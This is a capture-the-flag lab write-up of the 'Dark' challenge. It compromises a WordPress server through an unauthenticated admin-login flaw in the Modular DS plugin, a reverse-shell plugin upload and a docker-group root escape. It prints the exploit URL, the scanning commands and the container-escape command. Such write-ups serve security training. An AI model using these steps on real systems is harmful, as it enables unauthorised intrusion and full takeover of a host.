DOCKERLINUXLINUX-PRIVESCWEBWORDPRESS
Dark
Challenge Lab (Easy) - by Streetcoder
Last updated
Challenge Lab (Easy) - by Streetcoder
The following post by 0xb0b is licensed under CC BY 4.0
You have been hired to perform a penetration test on a single host in a company's network. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your privileges to root.
The client has provided you with VPN access to the network, but no additional details.
In Dark, we begin against a Linux web server at 10.1.114.250. A port scan reveals OpenSSH on 22 and Apache hosting a WordPress 6.0 site on 80. Manual browsing and feroxbuster turn up nothing beyond a static landing page, so we pivot to wpscan, which initially misses all installed plugins. Forcing plugin enumeration with a mixed scan uncovers modular-connector, vulnerable to CVE-2026-23550, an unauthenticated privilege escalation in Modular DS < 2.5.2 caused by overly permissive route matching that lets an unauthenticated request hit the login endpoint and auto-login as admin. Exploiting it grants us admin access as streetcoderadmin.
Editing the active theme to plant a reverse shell fails due to sanitization, so we instead repack the lightweight System Health Monitor reverse shell plugin with our IP and port hardcoded, upload it, activate it, and trigger its stream_socket_client health check to catch a shell as www-data, retrieving the user flag. Since www-data belongs to the docker group, deepce.sh confirms a container escape: mounting the host filesystem into an Alpine container and chrooting in (docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash) yields a root shell and the root flag.
We use rustscan -b 500 -a 10.1.114.250 --top -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.
A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

The target 10.1.114.250 is a Linux-based web server running OpenSSH 8.9p1 on port 22. A web server Apache 2.4.52 is exposed on port 80, hosting a WordPress site titled 'Dark – Just another WordPress site' with WordPress 6.0. The robots.txt file disallows the /wp-admin/ path.

We visit the site manually but find only a static landing page.

A directory scan using FeroxBuster does not reveal any other endpoints of interest. We can only confirm the result of our port scan, which indicates that we are dealing with a WordPress page.

Since we are dealing with a WordPress page, we will continue with WPScan. WPScan is a vulnerability scanner. By including an API key, we also get a mapping to the existing CVEs. An API key can be obtained free of charge from the following page:

We find a few vulnerabilities on WordPress 6.0, but none that could grant us direct access to the server at first glance. The first scan did not detect any plugins, which is quite surprising. We may need to adjust the scan to identify all installed plugins.

We customize our scan and explicitly look for plugins using a mixed scan. An aggressive scan should also find the following plugins, since the mixed scan is a combination of both a passive and aggressive scan.

We actually find a vulnerability in plugin modular-connector that allows us to perform an unauthenticated privilege escalation. This means we may be able to gain admin access to the WordPress dashboard. This would allow us to plant a web shell or reverse shell to achieve remote code execution on the server.

We research the vulnerability and find a corresponding proof of concept.

A detailed description about the vulnerability can be found here:
We simply adapt and visit the URL from the PoC and gain access as streecoderadmin.
The URL bypasses authentication because supplying origin=mo (or a matching User-Agent) together with any type parameter triggers Modular DS's direct request mode, which relaxes the auth middleware to only check whether the site itself has an active Modular connection (rather than verifying the identity of the caller). Since the /login/{modular_request} route defaults to logging in as the site's admin whenever no specific user ID is passed in the request body, this combination lets any unauthenticated user get logged in as an administrator.

We know the twentytwentytwo theme is active.

We try to edit the active theme to place a reverse shell...

but the contents passed to the editor gets sanatized after we save it.

Instead of editing a theme, let's just try uploading a plugin. There are already many on GitHub that allow us to establish a reverse shell. We can also create our own plugin by zipping a PHP file, but let's try the pre-made ones first.
We try the following one...

... but it exceeds the maximum file size.

There's also a smaler plugin called System Health Monitor.
We edit the plugin by presetting the IP and port in the PHP file and zip it.

Next, we upload the zip file with success...

Now we can activated the plugin.

We run a listener.
And visit the plugin.
We select the following option and run a 'health check'.

We catch a reverse shell and are the user www-data.

The user flag can be found at /var/www/user.txt.

The user is member of the docker group. Because we are in the docker group we could potentially escalate to root on the host by mounting the host partition inside a container and chrooting into it.
We run a check with deepce.sh...

... confirming that we can escalate to root on the host by mounting the host partition inside a container and chrooting into it.

We follow the refrenced exploit.
And run the following command to mount the host's root filesystem into an Alpine container at /mnt, then chroots into it.
From there we can reach hosts root home directory and find the flag at /root/root.txt.

We could also leverage the script to perform the exploit

Last updated
rustscan -b 500 -a 10.1.114.250 --top -- -sC -sV -Pnhttp://10.1.114.250/feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.1.114.250'wpscan --url http://10.1.114.250 --api-token REDACTEDwpscan --url http://10.1.114.250 --api-token REDACTED --enumerate p --plugins-detection mixedModular DS < 2.5.2 - Unauthenticated Privilege Escalationhttp://10.1.114.250/api/modular-connector/login/anything?origin=mo&type=foohttp://10.1.114.250/wp-admin/themes.phphttp://10.1.114.250/wp-admin/site-editor.php?postType=wp_template&postId=twentytwentytwo%2F%2F404http://10.1.114.250/wp-admin/themes.phphttp://10.1.114.250/wp-admin/plugin-install.php# Create directory structure
mkdir system-health-monitor
cp system-health-monitor.php system-health-monitor/
zip -r system-health-monitor.zip system-health-monitor/http://10.1.114.250/wp-admin/plugin-install.phppenelope -p 4445http://10.1.114.250/wp-admin/admin.php?page=system-health-monitorstream_socket_clientcat /var/www/user.txtdocker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bashcat /root/root.txt./deepce.sh -e DOCKER